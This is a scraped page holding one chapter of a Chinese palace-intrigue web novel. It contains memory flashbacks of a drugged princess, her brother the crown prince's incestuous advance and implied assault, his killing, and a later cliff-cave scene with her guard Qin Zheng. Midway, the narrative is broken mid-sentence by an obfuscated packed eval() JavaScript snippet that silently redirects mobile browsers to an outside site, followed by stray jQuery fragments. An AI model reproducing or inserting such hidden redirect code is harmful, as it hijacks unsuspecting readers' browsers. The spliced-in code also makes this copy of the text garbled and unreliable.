默认冷灰
24号文字
方正启体

86. 记忆

作者:温柔海上月本书字数:K更新时间:
    听觉回笼之际,李嫣听见了一阵连绵又沉闷的雨声,像是隔着一层厚厚的琉璃瓦,闷闷地敲打着她混沌的意识。


    这是在哪?


    怎么突然下起了雨?


    她想睁开眼,眼皮却重若千斤,难以动弹,只感觉这雨声穿透了沉重的黑暗,成为她与这个世界唯一模糊的连接。


    慢慢地,这雨声停了。


    她缓缓睁眼,映入眼帘的是绣着金线的明黄帐幔,以及帐顶垂下轻轻晃动的明珠流苏。她明明第一次见此情景,心底却明确知晓,此处乃是华阳行宫,太子的寝殿。


    万寿节已过,明日便是启程回京的日子,她怎么会在李显的寝殿里呢?


    一种冰冷的直觉,顺着脊椎悄然爬升。


    “皇姐醒了?”


    头顶传来熟悉的声音,带着少年特有的清亮,却又被某种低哑的、压抑的情绪浸染,显得异常缱绻。


    她猛地转头看去。


    李显穿着一身玄色常服,正单手撑在她耳侧,另一只手紧紧扣着她的手腕,将她整个人半圈在身下。属于年轻男子的温热气息,带着酒意,不容抗拒地笼罩下来。


    “我怎么会在这?”


    李嫣察觉到身体格外沉重,语气里顿时带着一丝不易察觉的紧绷,问道,“你对我做了什么?”


    “孤什么也没做。”


    李显的眼尾微微下垂,用一种温柔无害的眼神凝视她道,“皇姐不慎着了小人的道,饮下迷魂散,神志不清,孤也是担心皇姐有事,这才自作主张将你带了回来,你放心,宫人都已遣散,无人知晓你在此处。”


    说话间,他的指腹轻轻摩挲着李嫣的手腕。


    一阵恶寒激得她浑身都颤了一颤。


    光是和他共处一榻已是颠覆人伦,德行有亏之举,目光触及到他此刻眼底翻涌的痴缠,李嫣顿觉心慌。


    她试图挣开他的钳制,皱眉道:“放开我!”


    李显不为所动,反而俯身靠近,用灼热的目光一寸寸地描摹着她那张因药力而泛起薄红的脸庞,勾唇笑道:“孤以前从未发现,原来皇姐还有这般动人的模样。”


    “放肆!李显,你知不知道你在说什么?”


    李嫣冷冷直视他道,“本宫是大玄公主,与你血脉同源的亲姐姐,你竟敢对本宫说出此等大逆不道的话?你疯了不成?”


    “鬓发散乱,眼含水光,连生气时……都美得让孤移不开眼。”他的指尖极轻地掠过她微微颤抖的睫毛,仿佛在触碰一件易碎的珍宝,语气却带着不容错辨的侵占意味,“皇姐,方才孤之所以没有趁人之危,是希望你能发自内心地接受孤的心意。”


    听闻此言,李嫣心底蓦然一震。


    她不可置信地盯着李显的眼睛,片刻,从中彻底品味出他的意思之后,眸色一凝,奋力抽回手当即甩了他一巴掌。


    清脆的耳光声在寂静的室内异常响亮。


    李显错愕一瞬,缓缓转回脸看向她,眼底没有半分恼意,反而浮起一丝极淡的苦笑,仿佛对此早有预料。


    李嫣强撑着坐了起来,肃然道:“放我走,今夜之事,我权当从未发生。”


    李显用舌尖抵了抵发麻的腔壁,目光始终温沉地笼着她,轻声道:“孤若不放呢?”


    “你敢?”


    “有何不敢?”李显提醒道,“皇姐别忘了,苏姑娘还在天牢里,她一个弱女子,在刑狱之地可撑不了太久,万一屈打成招,承认走私官盐乃是皇姐授意,孤可就爱莫能助了。”


    李嫣眸色微凝:“官盐案果然是你一手策划的。”


    李显坦诚道:“不全然是。”


    “你背后还有谁?”李嫣问道。


    李显笑了一声:“春宵苦短,皇姐就不必套孤的话了……”


    他借着酒意,大胆向前倾身,再次拉近了两人之间的距离:“孤不明白,连裴衍那么一个冷冰冰又不解风情的四品小官都能入得了皇姐的眼,为何孤不能?即便是跟秦铮比起来,样貌才情,文韬武略,孤也半点不差,为何皇姐从不愿多看我一眼?难道碍于血脉相连的姐弟名分,皇姐就真的不能对我有一丁点好感吗?”


    李嫣被逼得往后一倾,蹙眉道,“你既然知道你我是血脉相连的亲姐弟,此番话就应该让它烂在肚子里,一个字都不能吐出来!若让旁人听到,不但你我清誉被毁,整个皇室都将颜面扫地!”


    李显眸色蓦地暗沉下来,打定主意要捅破最后一层窗纸,执拗道,“若孤说,你我之间有一人并非父皇亲生血脉,皇姐是否便能放下芥蒂,接纳孤的心意?”


    李嫣眸光一颤,怔怔地望着李显,脑中还未全然反应过来此话真假,却被药力扰得额角刺痛。


    李显的唇缓缓凑近,声音喑哑道:“那些血脉伦常,孤从来都不在乎,只要能与你并肩,纵是背负骂名,被天下人耻笑,孤也心甘情愿!”


    “嗡”的一声鸣响,李嫣头痛欲裂,像是有什么尖锐的东西在颅内反复搅动。视线里李显迫近的面容开始摇晃、重叠,最终被浓稠的黑暗彻底吞噬。


    黑暗中,衣物被撕裂的刺啦声,急促的呼吸,肢体碰撞的闷响,混乱不堪,她心底唯一的声音的声音叫嚣着:


    他疯了!


    快杀了他!


    李嫣,快杀了他!


    就在男子灼热的鼻息贴近肌肤的瞬间,“铮——”的一声,极轻微却锐利无比的机簧震响,在粗重的喘息和衣料摩擦声中,清晰得骇人。


    温热的液体喷溅她脸上,带着血腥味。


    周遭寂静下来,可她的眼还是睁不开,紧接着天旋地转,身体猛地下坠,昏昏沉沉间,一个又一个记忆碎片从脑中闪过……


    公主寝殿内,秦铮面色凝重,快速卸下她手腕上的袖箭,往他自己手上戴,轻声安抚道:“殿下速去更衣,此事我来处理。”


    她实在累了,站都站不稳,沉声问道:“你要怎么做?”


    秦铮思索片刻道:“就说太子要连夜回京处理急务,我会安排替身,趁夜黑登车,途中再伪装成歹人行刺,李代桃僵,将太子的尸体换至马车上。”


    他扶着李嫣的微微摇晃的肩膀,镇定道:“放心,我不会让殿下有事的。”


    后来,刑部的人来公主府问话,她称病不出,隔着重重垂幔,那人问道:“太子遇刺之时,敢问公主人在何处?”


    她道:“自然是在本宫的寝殿。”


    “金吾卫指挥同知,永宁侯府世子秦铮,殿下可识得此人?”


    李嫣心头蓦然一紧,转头望向垂幔外的人影,顿了一顿,问道:“他怎么了?”


    “秦世子于太子回京途中设伏行刺,人证物证俱在,现已押入大牢。”


    来人的声音起初还算清晰,可渐渐地,后半句却莫名虚浮起来。


    “经查证,当夜秦世子……曾见过公主。”


    声音越来越远,越来越轻,像断线的风筝飘向云端,“不知……他曾与你……说过些什么?”


    定格在垂幔上的视野陡然一花,烛火的暖光、织锦的华彩瞬间融化成泥,变成了一盏立于书案上的灯盏。


    灯影昏黄,温柔地隔开了屋外的漫天大雪。


    此处是裴衍的书房。


    不对,她怎会知道此处是他的书房呢?


    裴衍那个小院子,哪来这么大的书房?


    还没来得及细想,便听到那个熟悉的、清冷沉稳的嗓音从身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997051|187540||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后传来,带着斥责之意,直言道:“你的人无辜?旁人便不无辜?”


    “以其家人性命相挟,推一个微末小卒出来受死,这便是你的破局之道?”


    “想不到殿下,生了一副莲花相,却藏着一颗蛇蝎心……”


    “别说了!”


    李嫣头疼欲裂,紧紧闭起双眼,哀求道,“别说了!你根本什么都不知道……”


    耳边骤然轰鸣不止,无数个画面不受控制地挤进她的脑中,陌生又熟悉,遥远又触手可及,不停地旋转冲撞,将本就混沌地意识撕成碎片,撞得她两侧的血脉突突直跳,仿佛下一秒就要炸裂开来。


    “呃——!”


    一声压抑的痛吟从喉间溢出。


    李嫣猛地睁开双眼,瞳孔在黑暗中急剧收缩又放大。


    最先入目的,是秦铮近在迟尺的脸庞,和那双透着恐慌和急切的眼睛。


    “殿下!你醒了?”


    周围像是一个洞穴,黑漆漆的,有些许白光透了进来。


    他正俯身看着她,距离近得她能看清他脸上每一处细小的擦伤,还有他额角那道伤口正缓缓渗出的血线,滑过他紧蹙的眉峰。


    是了,他们刚从悬崖上掉下来,这是……没死成?


    她躺靠在秦铮的怀里,怔愣良久,久到秦铮都怀疑她是不是撞到了脑袋,正想开口再问,才听她喃喃唤了一声:“秦铮。”


    秦铮认真地应了一声,担忧道:“可有哪里不舒服?”


    李嫣缓缓眨了眨眼,只觉浑身上下都痛,根本说不清哪里不舒服,脑中反复回放着坠崖的那一幕……


    那一刻,她的心完全被恐惧和绝望占据,她有预感秦铮一定会救她,可亲眼见到他不顾一切跟着自己跳下来时,仍震惊得心颤不已。


    “你疯了吗?”李嫣突然问道。


    秦铮怔了一怔,眉头缓缓松开道:“眼睁睁看着殿下从悬崖坠落,不疯才怪。”


    她记得,自己被树枝阻了一下,秦铮顺利追上她,将她捞进怀里,用随身携带的匕首在石壁上划出长长的一道火花,减缓他们下降的速度。


    而后,他们砸到一棵斜生的大树上,即便有秦铮垫在她的身下,那瞬间的截停还是震得她五脏六腑都差点移位了。


    紧接着,树干沙沙摇晃几下,终是承受不住冲击直接断裂,失重感再次攫住心脏,她彻底失去了意识……


    李嫣问道:“我们这是在哪?”


    “此处应是黑风崖,我们运气尚可,掉在了崖壁中间突出来的一块空地上,地上积了厚厚一层落叶,又有藤蔓缓冲,才没教我们直接摔个粉身碎骨。”秦铮缓缓扶她坐了起来,努力调整了一下呼吸,抬手指向侧面被虬结藤蔓半掩着的阴影:“此处洞穴离那块空地不远,若有追兵从崖顶探查,待在此处相对安全。”


    李嫣顺着他所指的方向望去。月光稀薄,只能隐约看见石台边缘的枯藤在夜风中晃动。


    秦铮又问,“殿下还没回答我,身上哪里不舒服?”


    李嫣摇了摇头:“无甚大碍。”


    她凝神一看,接着月光才发现秦铮的脸苍白得无甚血色,神色蓦然一紧。


    “你伤哪了?”她问道。


    秦铮转头避开她的目光,稍稍调整靠在岩壁上的姿势,尽量让绷紧的左半身看起来只是随意倚着。


    他不想让李嫣自责,轻轻扯动了一下嘴角,语气平稳道:“断了两根肋骨,其他的倒是皮外伤。”


    断了两根肋骨?


    李嫣一脸错愕,目光瞬间落在他染血的衣襟上,曾经一段又一段关于他们的回忆在脑中忽闪而过,再抬眼时,她眼眶里潮湿一片,有些无措道:“你为何这么傻?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)